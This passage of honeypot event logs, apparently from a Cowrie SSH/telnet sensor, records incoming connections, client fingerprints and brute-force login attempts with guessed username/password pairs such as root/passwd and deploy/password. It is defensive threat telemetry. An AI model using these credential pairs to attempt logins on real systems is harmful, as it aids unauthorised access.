-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:30.459295Z","src_ip":"176.65.132.129","session":"a0e8c54eb921","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passwd","message":"login attempt [root/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:30.766023Z","src_ip":"176.65.132.129","session":"a0e8c54eb921","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51028,"dst_ip":"10.17.0.5","dst_port":23,"session":"7125b5a869f7","protocol":"telnet","message":"New connection: 152.42.224.71:51028 (10.17.0.5:23) [session: 7125b5a869f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:31.071010Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:31.535015Z","src_ip":"13.71.92.229","session":"acfc4de6e63f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:31.851909Z","src_ip":"176.65.132.129","session":"a0e8c54eb921","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49354,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b3da635ccdc","protocol":"ssh","message":"New connection: 176.65.132.129:49354 (159.203.135.109:22) [session: 9b3da635ccdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:33.545528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:33.550347Z","src_ip":"176.65.132.129","session":"9b3da635ccdc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:33.632664Z","src_ip":"176.65.132.129","session":"9b3da635ccdc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51044,"dst_ip":"10.17.0.5","dst_port":23,"session":"125880558465","protocol":"telnet","message":"New connection: 152.42.224.71:51044 (10.17.0.5:23) [session: 125880558465]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:33.763997Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsx123","message":"login attempt [root/qazwsx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:33.878955Z","src_ip":"176.65.132.129","session":"9b3da635ccdc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:34.965554Z","src_ip":"176.65.132.129","session":"9b3da635ccdc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":42750,"dst_ip":"159.203.135.109","dst_port":22,"session":"6273c34553d9","protocol":"ssh","message":"New connection: 176.65.132.129:42750 (159.203.135.109:22) [session: 6273c34553d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:36.729142Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:36.733598Z","src_ip":"176.65.132.129","session":"6273c34553d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:36.816539Z","src_ip":"176.65.132.129","session":"6273c34553d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.177855491638184,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:36.871617Z","src_ip":"152.42.224.71","session":"51be4d73156f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"aA123456","message":"login attempt [root/aA123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:37.065920Z","src_ip":"176.65.132.129","session":"6273c34553d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:38.150356Z","src_ip":"176.65.132.129","session":"6273c34553d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":42770,"dst_ip":"159.203.135.109","dst_port":22,"session":"57303d85e021","protocol":"ssh","message":"New connection: 176.65.132.129:42770 (159.203.135.109:22) [session: 57303d85e021]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:39.898578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:39.903060Z","src_ip":"176.65.132.129","session":"57303d85e021","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:39.985531Z","src_ip":"176.65.132.129","session":"57303d85e021","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"password","message":"login attempt [deploy/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:40.262000Z","src_ip":"176.65.132.129","session":"57303d85e021","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:41.350781Z","src_ip":"176.65.132.129","session":"57303d85e021","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.162.8.14","src_port":38876,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca65e4437f80","protocol":"ssh","message":"New connection: 45.162.8.14:38876 (10.17.0.5:22) [session: ca65e4437f80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:41.561950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:41.566752Z","src_ip":"45.162.8.14","session":"ca65e4437f80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:41.681177Z","src_ip":"45.162.8.14","session":"ca65e4437f80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"82.152.132.24","src_port":39778,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb6618bd3992","protocol":"ssh","message":"New connection: 82.152.132.24:39778 (159.203.135.109:22) [session: bb6618bd3992]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:41.943685Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:41.948571Z","src_ip":"82.152.132.24","session":"bb6618bd3992","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:42.074545Z","src_ip":"82.152.132.24","session":"bb6618bd3992","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a1b2c3d4","message":"login attempt [root/a1b2c3d4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:42.178025Z","src_ip":"45.162.8.14","session":"ca65e4437f80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"history","message":"login attempt [root/history] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:42.609659Z","src_ip":"82.152.132.24","session":"bb6618bd3992","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":42782,"dst_ip":"159.203.135.109","dst_port":22,"session":"36738484e718","protocol":"ssh","message":"New connection: 176.65.132.129:42782 (159.203.135.109:22) [session: 36738484e718]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:43.031007Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:43.036624Z","src_ip":"176.65.132.129","session":"36738484e718","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:43.231412Z","src_ip":"176.65.132.129","session":"36738484e718","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:43.297975Z","src_ip":"45.162.8.14","session":"ca65e4437f80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57600,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7555d329d6e","protocol":"telnet","message":"New connection: 152.42.224.71:57600 (10.17.0.5:23) [session: f7555d329d6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:43.396685Z"}
{"eventid":"cowrie.login.failed","username":"terraria","password":"123456","message":"login attempt [terraria/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:43.521482Z","src_ip":"176.65.132.129","session":"36738484e718","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:43.737973Z","src_ip":"82.152.132.24","session":"bb6618bd3992","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:44.607013Z","src_ip":"176.65.132.129","session":"36738484e718","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":43728,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed662fa1f53a","protocol":"ssh","message":"New connection: 80.66.85.226:43728 (10.17.0.5:22) [session: ed662fa1f53a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:45.222823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:45.227856Z","src_ip":"80.66.85.226","session":"ed662fa1f53a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:45.320688Z","src_ip":"80.66.85.226","session":"ed662fa1f53a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57608,"dst_ip":"10.17.0.5","dst_port":23,"session":"865aaa503594","protocol":"telnet","message":"New connection: 152.42.224.71:57608 (10.17.0.5:23) [session: 865aaa503594]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:45.479126Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"3rjs1la7qe","message":"login attempt [root/3rjs1la7qe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:45.598410Z","src_ip":"80.66.85.226","session":"ed662fa1f53a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44310,"dst_ip":"159.203.135.109","dst_port":22,"session":"c8b309b75364","protocol":"ssh","message":"New connection: 176.65.132.129:44310 (159.203.135.109:22) [session: c8b309b75364]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:46.312490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:46.317210Z","src_ip":"176.65.132.129","session":"c8b309b75364","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 